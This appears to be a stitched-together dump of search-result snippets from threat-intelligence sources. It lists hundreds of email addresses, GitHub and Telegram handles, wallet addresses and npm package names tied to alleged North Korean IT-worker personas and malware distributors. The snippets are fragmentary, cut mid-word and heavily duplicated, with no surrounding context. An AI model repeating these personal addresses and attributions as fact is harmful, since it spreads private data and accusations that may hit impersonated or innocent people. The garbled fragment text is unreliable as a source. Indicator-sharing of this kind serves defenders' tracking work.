jupiter256821@gmail.com justinbettano9…","…johnas12121@hotmail.com johnbenzon510727@outlook.com jiupaladin@gmail.com jonatasfrnancisco887@gmail.com juancastiblanco1998@gmail.com julianohoffmann33@gmail.com k7407751@gmail.com kaitlyndynamofwtsc28771@outlook.com kencheng1291@proton.me…","…t.me/flashhypo - maxb47163@gmail.com - coronarider01@gmail.com - neoprince1992@gmail.com - judekinsley911@gmail.com - icarodev1031@gmail.com - cryptobyte3@gmail.com - https://x.com/browsercookies/status/1934288397339877730 -…","…arana99@gmail.com josecampos7674948@gmail.com josephsteve1988@gmail.com joy.talentless@gmail.com js0281010@gmail.com jsmith052199@gmail.com jukkahadru@gufum.com julian.aces.pokerdev@gmail.com juliegibbs206@gmail.com juniorcorder53@gmail.com jupiter256821@gmail.com justinbettano96@gmail.com justinbro…","…f5fd0ca9d7642087d0edf609c126197b4d958cc2e1d576c62d444287444e229d 2026-09-17 hardhat-core (2.1.2) 2026-09-17 juliam0819 <juliam0819@outlook.com> 951722c5567e04de8641a4ec35f6824bcd0feb8d72f6b7476827ac063d3eec7b a559a29ace0ce45b0d3741ffe567b3968df2973ff02480c7864c18cb6a53ae49…","…technique on Beejern UpWork profile and QN Software team photos — same fabrication toolkit 6 Exposed credentials .env file links julian_bartell@Beejern.com email + dragonlideveloper MongoDB credentials in same codebase 7 Third-party profile seeding Beejern listed on DesignRush and…","…ecampos7674948@gmail.com josephsteve1988@gmail.com joy.talentless@gmail.com js0281010@gmail.com jsmith052199@gmail.com jukkahadru@gufum.com julian.aces.pokerdev@gmail.com juliegibbs206@gmail.com juniorcorder53@gmail.com jupiter256821@gmail.com justinbettano96@gmail.com justinbropico@gmail.com justinkal1106@gm…","…2 weeks nguyentcg000@gmail.com Giang Vietnam United States $30/hour, 40 hours/week 1 month 109 julianantonucci.uw@gmail.com Julian Argentina United States $35/hour, 40 hours/week 1 month Kim Tong U carlos@gmail.com carlos Mexico United…","…email insider N/A N/A Synthetic persona email 2 balazspapp@outlook.com email insider N/A N/A Synthetic persona email 2 juliankopala.pol@gmail.com email insider N/A N/A Synthetic persona email 2 nanusevskitodor@gmail.com email insider N/A N/A Synthetic persona email 2…","…johnbenzon510727@outlook.com jiupaladin@gmail.com jonatasfrnancisco887@gmail.com juancastiblanco1998@gmail.com julianohoffmann33@gmail.com k7407751@gmail.com kaitlyndynamofwtsc28771@outlook.com kencheng1291@proton.me kevincarol00001@gmail.com…","…for the MSMT report. 136 Annex 18 : Payoneer Accounts Used by Argentinian Facilitator 331 Email mitliza1@gmail.com julianseewald123@gmail.com stiegliz06@gmail.com kinchevaali@gmail.com sunsui2023@outlook.com kopytina111@outlook.com Akira.Ito0116@outlook.com…","…steve1988@gmail.com joy.talentless@gmail.com js0281010@gmail.com jsmith052199@gmail.com jukkahadru@gufum.com julian.aces.pokerdev@gmail.com juliegibbs206@gmail.com juniorcorder53@gmail.com jupiter256821@gmail.com justinbettano96@gmail.com justinbropico@gmail.com justinkal1106@gmail.com justinlee0093@gm…","…npm-builders-1.0.8.tgz exfil: cloudflareinsights.vercel.app 2026-03-01 00:04:16 @mgcrae/pino-pretty-logger (v1.0.5) itspengu (julius.tan.biz@gmail.com) @mgcrae/pino-pretty-logger-1.0.5.tgz exfil: polymarket-clob.com 2026-02-27 10:19:51 pretty-fancy (v1.0.3) npm_kei (keidev60@gmail.com)…","…zhangming_k@yahoo.com zhuming1116@gmail.com lisettekolson8@gmail.com 312011217@qq.com alhinglovena3000@gmail.com jumphon2103@gmail.com mobilephetjum@gmail.com phetchamphone1998@gmail.com Additional Resources Global Companies Are Unknowingly Paying North…","…talentless@gmail.com js0281010@gmail.com jsmith052199@gmail.com jukkahadru@gufum.com julian.aces.pokerdev@gmail.com juliegibbs206@gmail.com juniorcorder53@gmail.com jupiter256821@gmail.com justinbettano96@gmail.com justinbropico@gmail.com justinkal1106@gmail.com justinlee0093@gmail.com justinmichaelscha…","…Kira Network (2020), IQ (2021), Sunrise Layer, Elys Network, Ferrum/Comdex (2023) - junkai121 - jelysn - jpine3528 - jgo121 - junkai121@outlook.com - github.com/jelysn - github.com/jpine3528 • [Archive](https://web.archive.org/web/20250827055600/https://github.com/jpine3528) -…","…81010@gmail.com jsmith052199@gmail.com jukkahadru@gufum.com julian.aces.pokerdev@gmail.com juliegibbs206@gmail.com juniorcorder53@gmail.com jupiter256821@gmail.com justinbettano96@gmail.com justinbropico@gmail.com justinkal1106@gmail.com justinlee0093@gmail.com justinmichaelschaffer0402@gmail.com justi…","Found on 24 September 2026 by searching GitHub's commit index for published persona addresses and reading which account GitHub attributes the commits to. GitHub credits a commit to the account that has the signing address registered and verified, which only the holder of the mailbox can do, so an attributed account is one the address's holder controls, whichever repository the commits sit in and whenever the address was added. Counts are of the commits GitHub's search returns, up to 100.\n\nGitHub attributes 21 commits signed jupiter.softdev@gmail.com, an address this site publishes for this group, to github.com/yong-yi-wong, account id 197201656, created on 31 January 2025, display name Yong Yi Wong, with no public repositories.","…ychmdev - zuhalvalmerikh - 4899432@qq.com - babakwethr@gmail.com - Chenyin1g992@gmail.com - elitedev619@gmail.com - jupiter.softdev@gmail.com - larastar721@gmail.com - laravguru@gmail.com - light.oa17@gmail.com - mmarjs22@gmail.com - partneremail@gmail.com -…","…email insider N/A N/A Synthetic persona email 2 davorsabolic2@gmail.com email insider N/A N/A Synthetic persona email 2 juricleon407@gmail.com email insider N/A N/A Synthetic persona email 2 kondradgodzki@outlook.com email insider N/A N/A Synthetic persona email 2…","…sotaro.yoshimoto@gmail.com[email protected] super.dev1124@outlook.com[email protected] justin309w@outlook.com[email protected] proguardseo@gmail.com[email protected] azduoedon@outlook.com[email protected]…","…gonfighter0115@outlook.com fullstackdev1006@gmail.com blockchaindev0227@gmail.com sotaro.yoshimoto@gmail.com super.dev1124@outlook.com justin309w@outlook.com proguardseo@gmail.com azduoedon@outlook.com supernova1111a@outlook.com myronenkoyaroslav4@gmail.com savonik.alina00@gmail.com blackti…","…usman@gmail.com boava94722@gmail.com rabbitking0130@gmail.com bengrantsoft@gmail.com sotaro.yoshimoto@gmail.com proguardseo@gmail.com justin424w@gmail.com satoshi.fukuzumi309@gmail.com martinjosipovic17@gmail.com venturewell@gmail.com satoshi.fukuzumi47@gmail.com blocklimax@gmail.com dcn…","…2199@gmail.com jukkahadru@gufum.com julian.aces.pokerdev@gmail.com juliegibbs206@gmail.com juniorcorder53@gmail.com jupiter256821@gmail.com justinbettano96@gmail.com justinbropico@gmail.com justinkal1106@gmail.com justinlee0093@gmail.com justinmichaelschaffer0402@gmail.com justinscha0402@gmail.com justin…","…gufum.com julian.aces.pokerdev@gmail.com juliegibbs206@gmail.com juniorcorder53@gmail.com jupiter256821@gmail.com justinbettano96@gmail.com justinbropico@gmail.com justinkal1106@gmail.com justinlee0093@gmail.com justinmichaelschaffer0402@gmail.com justinscha0402@gmail.com justinstone0603@gmail.com jxun…","…repository j.ames90@hotmail.com Commits to malicious repository jackjhon1997917@gmail.com Commits to malicious repository justinjinaz@gmail.com Commits to malicious repository kblucky0219@proton.me Commits to malicious repository kenedyleon350@gmail.com Commits to malicious…","…kerdev@gmail.com juliegibbs206@gmail.com juniorcorder53@gmail.com jupiter256821@gmail.com justinbettano96@gmail.com justinbropico@gmail.com justinkal1106@gmail.com justinlee0093@gmail.com justinmichaelschaffer0402@gmail.com justinscha0402@gmail.com justinstone0603@gmail.com jxun6793@gmail.com kagehiro0…","…bbs206@gmail.com juniorcorder53@gmail.com jupiter256821@gmail.com justinbettano96@gmail.com justinbropico@gmail.com justinkal1106@gmail.com justinlee0093@gmail.com justinmichaelschaffer0402@gmail.com justinscha0402@gmail.com justinstone0603@gmail.com jxun6793@gmail.com kagehiro0923@gmail.com kaitadashi…","…order53@gmail.com jupiter256821@gmail.com justinbettano96@gmail.com justinbropico@gmail.com justinkal1106@gmail.com justinlee0093@gmail.com justinmichaelschaffer0402@gmail.com justinscha0402@gmail.com justinstone0603@gmail.com jxun6793@gmail.com kagehiro0923@gmail.com kaitadashi114@gmail.com kakashie1004@gmail.com…","…l.com justinbettano96@gmail.com justinbropico@gmail.com justinkal1106@gmail.com justinlee0093@gmail.com justinmichaelschaffer0402@gmail.com justinscha0402@gmail.com justinstone0603@gmail.com jxun6793@gmail.com kagehiro0923@gmail.com kaitadashi114@gmail.com kakashie1004@gmail.com kalei.dillan@minofangle.…","…May 2026 joshn@hr.recruitvex.us Email address Attacker-controlled email address May 2026 justinstone@hr.trixauvex.org Email address Attacker-controlled email address May 2026 nicoupdyke@hr.trixauvexnet.ink Email…","…il.com justinbropico@gmail.com justinkal1106@gmail.com justinlee0093@gmail.com justinmichaelschaffer0402@gmail.com justinscha0402@gmail.com justinstone0603@gmail.com jxun6793@gmail.com kagehiro0923@gmail.com kaitadashi114@gmail.com kakashie1004@gmail.com kalei.dillan@minofangle.org kanazawa1123ryo@gmail.…","…handles - John Wilhelmsson - JeyHop - jwtradera - zhmoly - github.com/zhmoly • [Archive](https://archive.ph/7XiAc) - Sadao Murano jwtradera@outlook.com (Naoki Cross Whoopsies) - David Lucas github.com/davidlucas0402 davidlucas0402@outlook.com -…","…github.com/zhmolly • [Archive](https://archive.ph/80EYH) - github.com/dainmoly - dainsm@proton.me - jwtradera@outook.com - t.me/jjmolIy (ID: 1968323567) • ([Messages](./user-1968323567-@zzmoly.txt)) - 0x210888f2624d01f9cbc71de5bf4caf5b6dc9fa7f -…","….com justinkal1106@gmail.com justinlee0093@gmail.com justinmichaelschaffer0402@gmail.com justinscha0402@gmail.com justinstone0603@gmail.com jxun6793@gmail.com kagehiro0923@gmail.com kaitadashi114@gmail.com kakashie1004@gmail.com kalei.dillan@minofangle.org kanazawa1123ryo@gmail.com kanbei0605@gmai…","…email insider N/A N/A Threat actor-controlled email 1 jose.bfran86@hotmail.com email insider N/A N/A Threat actor-controlled email 1 k_star_0131@hotmail.com email insider N/A N/A Threat actor-controlled email 1 kbsy2019@hotmail.com email insider N/A N/A Threat actor-controlled email 1…","…jiupaladin@gmail.com jonatasfrnancisco887@gmail.com juancastiblanco1998@gmail.com julianohoffmann33@gmail.com k7407751@gmail.com kaitlyndynamofwtsc28771@outlook.com kencheng1291@proton.me kevincarol00001@gmail.com kevincarol00002@gmail.com…","The post of 20 June 2024 follows a LinkedIn Premium recruiter, Onder Kayabasi, who approached the author for smart-contract and blockchain developers under the company name Peig.io, and whom another LinkedIn user had already reported for running a fake technical interview. It ties the LinkedIn profile to an X account and two GitHub accounts, OnderKayabasi (registered to kaankayabasi9060@gmail.com) and KaanKayabasi, through a shared recruiter biography. The post does not name North Korea; the set is filed unattributed, and the campaign label reflects the fake-interview tradecraft it describes rather than any attribution by the author.","…Year in Review blackwang104@gmail.com email malware N/A September 2025 DPRK malware distributor GitLab.com account Year in Review kagan.hungri@gmail.com email malware N/A September 2025 DPRK malware distributor GitLab.com account Year in Review littebaby232355@gmail.com email malware N/A…","…gmail.com justinlee0093@gmail.com justinmichaelschaffer0402@gmail.com justinscha0402@gmail.com justinstone0603@gmail.com jxun6793@gmail.com kagehiro0923@gmail.com kaitadashi114@gmail.com kakashie1004@gmail.com kalei.dillan@minofangle.org kanazawa1123ryo@gmail.com kanbei0605@gmail.com kanta.ahren@minof…","…developer accounts Year in Review jhmnuykbvgftrss@gmail.com email malware N/A N/A DPRK malware developer accounts Year in Review kainmcguire@gmail.com email malware N/A N/A DPRK malware developer accounts Year in Review kimberlysunshine137@yahoo.com email malware N/A N/A DPRK malware…","…@gmail.com justinmichaelschaffer0402@gmail.com justinscha0402@gmail.com justinstone0603@gmail.com jxun6793@gmail.com kagehiro0923@gmail.com kaitadashi114@gmail.com kakashie1004@gmail.com kalei.dillan@minofangle.org kanazawa1123ryo@gmail.com kanbei0605@gmail.com kanta.ahren@minofangle.org kari.service.1…","…jonatasfrnancisco887@gmail.com juancastiblanco1998@gmail.com julianohoffmann33@gmail.com k7407751@gmail.com kaitlyndynamofwtsc28771@outlook.com kencheng1291@proton.me kevincarol00001@gmail.com kevincarol00002@gmail.com kevinyamada71@gmail.com…","…schaffer0402@gmail.com justinscha0402@gmail.com justinstone0603@gmail.com jxun6793@gmail.com kagehiro0923@gmail.com kaitadashi114@gmail.com kakashie1004@gmail.com kalei.dillan@minofangle.org kanazawa1123ryo@gmail.com kanbei0605@gmail.com kanta.ahren@minofangle.org kari.service.1217@gmail.com katarzyna…","…justinscha0402@gmail.com justinstone0603@gmail.com jxun6793@gmail.com kagehiro0923@gmail.com kaitadashi114@gmail.com kakashie1004@gmail.com kalei.dillan@minofangle.org kanazawa1123ryo@gmail.com kanbei0605@gmail.com kanta.ahren@minofangle.org kari.service.1217@gmail.com katarzynaplocka34@gmail.com kato.choj…","…0@gmail.com garciav.dev@gmail.com m.in.space45@gmail.com derek.otieno.2020@gmail.com usmanjaggi1@gmail.com mr.martin.adrian@gmail.com kalezhang000@gmail.com what.a.fabulous1@gmail.com tinydever@gmail.com dashhello4@gmail.com simonbergman516@gmail.com robertgreen1217@gmail.com ashleyspallie…","…wongaiden812@gmail.com vincenzagiorgi6@gmail.com pwlkjakub@gmail.com gru.dev259007@gmail.com toptall.cook@gmail.com kallis0312@gmail.com takutic.tech518@gmail.com williamduncan91413@gmail.com Identities Lucas Chang Hiroto Iwaki Taku Yamamoto Motoki…","…URL:https://www.linkedin.com/in/jackson-kidd-1680b2339/ URL:https://us.bold.pro/my/jaron-gaston-241007104612 Email:kamaunjoroge296@gmail.com Email:jacksonkidd216@gmail.com Behavioural & Other Indicators Nickname:Blaze Nickname:Assassin AnyDeskID:1686564829…","…tinstone0603@gmail.com jxun6793@gmail.com kagehiro0923@gmail.com kaitadashi114@gmail.com kakashie1004@gmail.com kalei.dillan@minofangle.org kanazawa1123ryo@gmail.com kanbei0605@gmail.com kanta.ahren@minofangle.org kari.service.1217@gmail.com katarzynaplocka34@gmail.com kato.chojiro@gmail.com kaylob.omega…","…n6793@gmail.com kagehiro0923@gmail.com kaitadashi114@gmail.com kakashie1004@gmail.com kalei.dillan@minofangle.org kanazawa1123ryo@gmail.com kanbei0605@gmail.com kanta.ahren@minofangle.org kari.service.1217@gmail.com katarzynaplocka34@gmail.com kato.chojiro@gmail.com kaylob.omega@minofangle.org kazuh…","…The account is associated with the email address kanbei0605@gmail.com, which is also associated with the persona Karl Chong. Graphic 1: Network map of likely DPRK-affiliated…","…#### Kyonghung IT - 0x82ce61d10044cc0ea23215cc4b334ff0937af73c - gitstar333@hotmail.com - PayPal account used by Kyonghung IT - kang19791110@hotmail.com PayPal account used by Kyonghung IT, held under the name of Jiang Lianji (姜莲姬) - 0x82CE61D10044CC0ea23215cc4B334Ff0937Af73C Crypto wallet…","…used by Kyonghung IT workers No. Account Description 1 gitstar333@hotmail.com PayPal account used by Kyonghung IT 2 kang19791110@hotmail.com PayPal account used by Kyonghung IT, held under the name of Jiang Lianji ( 姜 莲 姬 ) 3…","…iro0923@gmail.com kaitadashi114@gmail.com kakashie1004@gmail.com kalei.dillan@minofangle.org kanazawa1123ryo@gmail.com kanbei0605@gmail.com kanta.ahren@minofangle.org kari.service.1217@gmail.com katarzynaplocka34@gmail.com kato.chojiro@gmail.com kaylob.omega@minofangle.org kazuhirosasaki0805@gmail.com kbs…","…in Review abdelrahman5520032019@gmail.com email malware N/A October 2025 DPRK malware distributor GitLab.com account Year in Review karenhooi.cpa.cga.business1016@gmail.com email malware N/A October 2025 DPRK malware distributor GitLab.com account Year in Review craigsmith93.business@gmail.com email malware…","…i114@gmail.com kakashie1004@gmail.com kalei.dillan@minofangle.org kanazawa1123ryo@gmail.com kanbei0605@gmail.com kanta.ahren@minofangle.org kari.service.1217@gmail.com katarzynaplocka34@gmail.com kato.chojiro@gmail.com kaylob.omega@minofangle.org kazuhirosasaki0805@gmail.com kbskt5550@gmail.com kdash568@gm…","The account name is transcribed by hand from the attached screenshot of the GitHub profile page, which carries the handle cryptostar7 and describes the holder as a freelancer and job seeker working in blockchain. The address karrem1281@outlook.sa is the dominant author on the commits in this account's own GitHub repositories, recovered 2026-09-12; it is the operator's own commit address, not a forked repo's upstream author.","…email insider N/A N/A Threat actor persona email 4 4899432@qq.com email insider N/A N/A Threat actor persona email 4 karsonova1703@gmail.com email insider N/A N/A Threat actor persona email 4 maximmironenkoreact@gmail.com email insider N/A N/A Threat actor persona email 4…","…Telegram chat_id(s) 7609033774 (default), 7699029999 (v-A), 4697384025 (v-0) Chat IDs used for notifications Email (operator / contact) karsy117@gmail.com operator email Email (302 response) dmgoodner@gmail.com observed in redirect/302 response LinkedIn profile (302 response)…","…gmail.com kalei.dillan@minofangle.org kanazawa1123ryo@gmail.com kanbei0605@gmail.com kanta.ahren@minofangle.org kari.service.1217@gmail.com katarzynaplocka34@gmail.com kato.chojiro@gmail.com kaylob.omega@minofangle.org kazuhirosasaki0805@gmail.com kbskt5550@gmail.com kdash568@gmail.com keagan.jahan@minofan…","…gmail.com satoshi.fukuzumi47@gmail.com blocklimax@gmail.com dcnc336@gmail.com myronenkoyaroslav4@gmail.com avoroy@biztechadvisors.com katelevsk@gmail.com savonik.alina00@gmail.com purplestrawberrymilk@gmail.com yellowstrawberrymilk@gmail.com bluestrawberrymilk1025@gmail.com pinkstrawberr…","…angle.org kanazawa1123ryo@gmail.com kanbei0605@gmail.com kanta.ahren@minofangle.org kari.service.1217@gmail.com katarzynaplocka34@gmail.com kato.chojiro@gmail.com kaylob.omega@minofangle.org kazuhirosasaki0805@gmail.com kbskt5550@gmail.com kdash568@gmail.com keagan.jahan@minofangle.org keepgrowinga@gm…","…They released a total of 5 versions within a day. The author The package was released by kaufman0913 , with the matching email of kaufman0913@gmail.com . The choice of a very low-resolution picture of Rapunzel is..…","…hexiao33@mail.ru - hexiao31@mail.ru - hexiao32@mail.ru - hexiao34@mail.ru - 4445313@qq.com - peterzhou0802@gmail.com - kawabatakyo0922@outlook.com - jamesybarra114@gmail.com - jo.hnceballos0716@gmail.com - hughnolan88@gmail.com - deliminallimited.ws@outlook.com -…","…hexiao34@mail.ru[email protected] 4445313@qq.com[email protected] peterzhou0802@gmail.com[email protected] kawabatakyo0922@outlook.com[email protected] jamesybarra114@gmail.com[email protected] jo.hnceballos0716@gmail.com[email protected]…","…3@yahoo.com hexiao33@hotmail.com hexiao33@mail.ru hexiao31@mail.ru hexiao32@mail.ru hexiao34@mail.ru 4445313@qq.com peterzhou0802@gmail.com kawabatakyo0922@outlook.com jamesybarra114@gmail.com jo.hnceballos0716@gmail.com hughnolan88@gmail.com deliminallimited.ws@outlook.com galaxy85126@gmail.com leopawel65…","…community discussion #184838 yusuke.morimoto234@outlook.jp[email protected] Yusuke Morimoto email JP domain signals Japanese persona kawakami615@outlook.com[email protected] Naoki-K615 email wonder.man315@gmail.com[email protected] Yusuke portfolio site email From showyouyusuke.vercel.app…","…yo@gmail.com kanbei0605@gmail.com kanta.ahren@minofangle.org kari.service.1217@gmail.com katarzynaplocka34@gmail.com kato.chojiro@gmail.com kaylob.omega@minofangle.org kazuhirosasaki0805@gmail.com kbskt5550@gmail.com kdash568@gmail.com keagan.jahan@minofangle.org keepgrowinga@gmail.com kelvin.chan.pro@gmai…","…l.com kanta.ahren@minofangle.org kari.service.1217@gmail.com katarzynaplocka34@gmail.com kato.chojiro@gmail.com kaylob.omega@minofangle.org kazuhirosasaki0805@gmail.com kbskt5550@gmail.com kdash568@gmail.com keagan.jahan@minofangle.org keepgrowinga@gmail.com kelvin.chan.pro@gmail.com kennydavis120@gmail.com…","…![](./naoki-jenson-keisuke-kazune-leon-zhmolly.png) #### Kazune Takeda - mtfuji25 - mtfuji25 - borrdd34 - kazunetakeda25 - kazune.takeda@yahoo.com - t.me/ETHFuji (ID: 5407827675) • ([Messages](./user-5407827675-@ETHFuji.txt)) - github.com/mtfuji25 - npmjs.com/~kazunetakeda25 - AKA…","…seo.shigoto.001@gmail.com[email protected] ivan.dimov.work@gmail.com[email protected] kazune.takeda@yahoo.com[email protected] densyaou@gmail.com[email protected] zombie.eye.dev@gmail.com[email protected]…","…l.com seo.sigoto@gmail.com sunmoonstar0319@outlook.com blockchaindeveloper777@gmail.com seo.shigoto.001@gmail.com ivan.dimov.work@gmail.com kazune.takeda@yahoo.com densyaou@gmail.com zombie.eye.dev@gmail.com stevechendragon@gmail.com stevechendragon@outlook.com yamamotoziro.0113@gmail.com keinakano415@…","…repository jackjhon1997917@gmail.com Commits to malicious repository justinjinaz@gmail.com Commits to malicious repository kblucky0219@proton.me Commits to malicious repository kenedyleon350@gmail.com Commits to malicious repository leandro@kasta.io Commits to malicious…","…org kari.service.1217@gmail.com katarzynaplocka34@gmail.com kato.chojiro@gmail.com kaylob.omega@minofangle.org kazuhirosasaki0805@gmail.com kbskt5550@gmail.com kdash568@gmail.com keagan.jahan@minofangle.org keepgrowinga@gmail.com kelvin.chan.pro@gmail.com kennydavis120@gmail.com kennydavis120@proto…","…email insider N/A N/A Threat actor-controlled email 1 k_star_0131@hotmail.com email insider N/A N/A Threat actor-controlled email 1 kbsy2019@hotmail.com email insider N/A N/A Threat actor-controlled email 1 khatijha555@outlook.com email insider N/A N/A Threat actor-controlled email 1…","…https://x.com/browsercookies/status/1913271095253516308 - ![](./1913271095253516308.png) #### Kevin Chang - kchang.prof@gmail.com - kevin.zhang.soft@gmail.com - github.com/kevinsoft81 - https://x.com/browsercookies/status/1913267818386305459 -…","…7@gmail.com katarzynaplocka34@gmail.com kato.chojiro@gmail.com kaylob.omega@minofangle.org kazuhirosasaki0805@gmail.com kbskt5550@gmail.com kdash568@gmail.com keagan.jahan@minofangle.org keepgrowinga@gmail.com kelvin.chan.pro@gmail.com kennydavis120@gmail.com kennydavis120@proton.me kennydavis1990…","…naplocka34@gmail.com kato.chojiro@gmail.com kaylob.omega@minofangle.org kazuhirosasaki0805@gmail.com kbskt5550@gmail.com kdash568@gmail.com keagan.jahan@minofangle.org keepgrowinga@gmail.com kelvin.chan.pro@gmail.com kennydavis120@gmail.com kennydavis120@proton.me kennydavis1990123@gmail.com kevin.dev92111…","…ojiro@gmail.com kaylob.omega@minofangle.org kazuhirosasaki0805@gmail.com kbskt5550@gmail.com kdash568@gmail.com keagan.jahan@minofangle.org keepgrowinga@gmail.com kelvin.chan.pro@gmail.com kennydavis120@gmail.com kennydavis120@proton.me kennydavis1990123@gmail.com kevin.dev921115@gmail.com kevin.escal…","…@mgcrae/pino-pretty-logger-1.0.5.tgz exfil: polymarket-clob.com 2026-02-27 10:19:51 pretty-fancy (v1.0.3) npm_kei (keidev60@gmail.com) pretty-fancy-1.0.3.tgz exfil: logger.clob.health 2026-02-27 01:50:44 pretty-fancy (v1.0.2) npm_kei (keidev60@gmail.com)…","…(Also known as AnotherRusty or Matthias Li) hudes0112@gmail.com: m4rcu5o (Also operated by apollotoday) mufasa030831@gmail.com: Cornel keigo263129@outlook.com: Adrian AnotherRusty AnotherRusty most recently used the fake name of Matthias Li.…","…{\"id\":\"d6bba5899a21ea0d\",\"type\":\"text\",\"text\":\"keigo263129@outlook.com\",\"x\":1863,\"y\":-640,\"width\":314,\"height\":52,\"color\":\"4\"},…","…Justshiftjk himself is self-promoting some extremely specific ideas: Cornel-pe Github: https://github.com/cornel-cp E-mail: keigo263129@outlook.ie Twitter: https://x.com/cornel_pe Cornel-pe’s account is also receiving ‘boosts’ on Twitter from 0xMuseNine, who we discussed as one of…","…kei-tren - github.com/smartcoding51 • [Archive](https://archive.ph/mo0QZ) - github.com/kei-tren • [Archive](https://archive.ph/fhKTT) - keinakano415@gmail.com - x.com/kn_amm51 - t.me/kn_amm (ID: 1967508345) - 0x21e5d5a6e40b32cff77cfe77dca034d6d410131d -…","…eda@yahoo.com densyaou@gmail.com zombie.eye.dev@gmail.com stevechendragon@gmail.com stevechendragon@outlook.com yamamotoziro.0113@gmail.com keinakano415@gmail.com lainhong1205@gmail.com jenson.collins@hotmail.com sunshineseo0614@gmail.com watanabeatari@gmail.com sunmoonlee.19900113@outlook.com johnpat…","…james.mario.bello1209@gmail.com - james@ecf.network - ali.jonsson1800@gmail.com - bighero0122@gmail.com: - danylo.lee316@gmail.com - keithnelson0426@gmail.com - legendary0118dev@gmail.com - strongdragon036@gmail.com - takao.kamio@brandcode.dev - takao.kamio@hyma.io - ucas0holm@gmail.com -…","…email insider N/A N/A Threat actor persona email 4 rajukumar127.dev@gmail.com email insider N/A N/A Threat actor persona email 4 kekisevu@gmail.com email insider N/A N/A Threat actor persona email 4 anastasiaanufriyenko@gmail.com email insider N/A N/A Threat actor persona email 4…","…omega@minofangle.org kazuhirosasaki0805@gmail.com kbskt5550@gmail.com kdash568@gmail.com keagan.jahan@minofangle.org keepgrowinga@gmail.com kelvin.chan.pro@gmail.com kennydavis120@gmail.com kennydavis120@proton.me kennydavis1990123@gmail.com kevin.dev921115@gmail.com kevin.escalante.0710@gmail.com keving…","…juancastiblanco1998@gmail.com julianohoffmann33@gmail.com k7407751@gmail.com kaitlyndynamofwtsc28771@outlook.com kencheng1291@proton.me kevincarol00001@gmail.com kevincarol00002@gmail.com kevinyamada71@gmail.com kik.ita.aylen701@gmail.com…","…2026-03-28 live registry xakew48888@exahut.com tailwind-configuration 2026-03-26 graph first seen kenedyleon350@gmail.com tailwind-scroller 2026-03-30 live registry luk.gm.ek@gmail.com tailwind-stylecss-typography 2026-04-03 graph…","…malicious repository justinjinaz@gmail.com Commits to malicious repository kblucky0219@proton.me Commits to malicious repository kenedyleon350@gmail.com Commits to malicious repository leandro@kasta.io Commits to malicious repository lukasmuller_0925@outlook.com Commits to malicious…","…eloper.2006@gmail.com kevin.tsang.coder@gmail.com henry.zhang@gmail.com viacheslay.zadorozhnyi3863@gmail.com lucasli.dream1218917@gmail.com kenjitamm@gmail.com shan.shan.eth1994@gmail.com daniellee.dev1@gmail.com markuslaandream1218917@gmail.com hasibullahnasseri986@gmail.com CharlieWang1218917.dre…","…irosasaki0805@gmail.com kbskt5550@gmail.com kdash568@gmail.com keagan.jahan@minofangle.org keepgrowinga@gmail.com kelvin.chan.pro@gmail.com kennydavis120@gmail.com kennydavis120@proton.me kennydavis1990123@gmail.com kevin.dev921115@gmail.com kevin.escalante.0710@gmail.com kevingrant.0301@gmail.com kevi…","…kbskt5550@gmail.com kdash568@gmail.com keagan.jahan@minofangle.org keepgrowinga@gmail.com kelvin.chan.pro@gmail.com kennydavis120@gmail.com kennydavis120@proton.me kennydavis1990123@gmail.com kevin.dev921115@gmail.com kevin.escalante.0710@gmail.com kevingrant.0301@gmail.com kevinipineda0315@gmail.com k…","…h568@gmail.com keagan.jahan@minofangle.org keepgrowinga@gmail.com kelvin.chan.pro@gmail.com kennydavis120@gmail.com kennydavis120@proton.me kennydavis1990123@gmail.com kevin.dev921115@gmail.com kevin.escalante.0710@gmail.com kevingrant.0301@gmail.com kevinipineda0315@gmail.com kevinmiller0928@gmail.com kev…","…Year in Review littebaby232355@gmail.com email malware N/A August 2025 DPRK malware distributor GitLab.com account Year in Review kenycarl92@gmail.com email malware N/A August 2025 DPRK malware distributor GitLab.com account Year in Review arnas.tf7@gmail.com email malware N/A August…","…johnwilson0825@outlook.com email malware N/A N/A Used for malware distribution on freelance developer platforms Year in Review kevin.brock@mail.io email malware N/A N/A Used for malware distribution on freelance developer platforms Year in Review richard.francis10@mail.io email…","…julianohoffmann33@gmail.com k7407751@gmail.com kaitlyndynamofwtsc28771@outlook.com kencheng1291@proton.me kevincarol00001@gmail.com kevincarol00002@gmail.com kevinyamada71@gmail.com kik.ita.aylen701@gmail.com kingsley19960304@hotmail.com…","…k7407751@gmail.com kaitlyndynamofwtsc28771@outlook.com kencheng1291@proton.me kevincarol00001@gmail.com kevincarol00002@gmail.com kevinyamada71@gmail.com kik.ita.aylen701@gmail.com kingsley19960304@hotmail.com korovalerii0803@gmail.com…","…minofangle.org keepgrowinga@gmail.com kelvin.chan.pro@gmail.com kennydavis120@gmail.com kennydavis120@proton.me kennydavis1990123@gmail.com kevin.dev921115@gmail.com kevin.escalante.0710@gmail.com kevingrant.0301@gmail.com kevinipineda0315@gmail.com kevinmiller0928@gmail.com kevintech1020@gmail.com kevin…","…a@gmail.com kelvin.chan.pro@gmail.com kennydavis120@gmail.com kennydavis120@proton.me kennydavis1990123@gmail.com kevin.dev921115@gmail.com kevin.escalante.0710@gmail.com kevingrant.0301@gmail.com kevinipineda0315@gmail.com kevinmiller0928@gmail.com kevintech1020@gmail.com kevinwise1016@gmail.com kexakoh218@a…","…il.com kennydavis120@gmail.com kennydavis120@proton.me kennydavis1990123@gmail.com kevin.dev921115@gmail.com kevin.escalante.0710@gmail.com kevingrant.0301@gmail.com kevinipineda0315@gmail.com kevinmiller0928@gmail.com kevintech1020@gmail.com kevinwise1016@gmail.com kexakoh218@appxapi.com khxehpg371@mail…","…email insider N/A N/A Threat actor persona email 4 versatile.skydev@gmail.com email insider N/A N/A Threat actor persona email 4 kevinhelan2@gmail.com email insider N/A N/A Threat actor persona email 4 cglobalpower923002@gmail.com email insider N/A N/A Threat actor persona email 4…","….com kennydavis120@proton.me kennydavis1990123@gmail.com kevin.dev921115@gmail.com kevin.escalante.0710@gmail.com kevingrant.0301@gmail.com kevinipineda0315@gmail.com kevinmiller0928@gmail.com kevintech1020@gmail.com kevinwise1016@gmail.com kexakoh218@appxapi.com khxehpg371@mailerdemo.xyz kianna.ly.n.lo.p…","…Ma - Pirachat Chaiwongrote - promseislaw@gmail.com - smartdevpro001@gmail.com - brentjeremynel@gmail.com - onetouch0525@gmail.com - kevinlee2821@gmail.com - leondragandevelop@gmail.com - eric2022412@gmail.com - ma.liguo@outlook.com - donatelo212dunccine@gmail.com -…","…------------------------------------ Emails: promseislaw@gmail.com smartdevpro001@gmail.com brentjeremynel@gmail.com 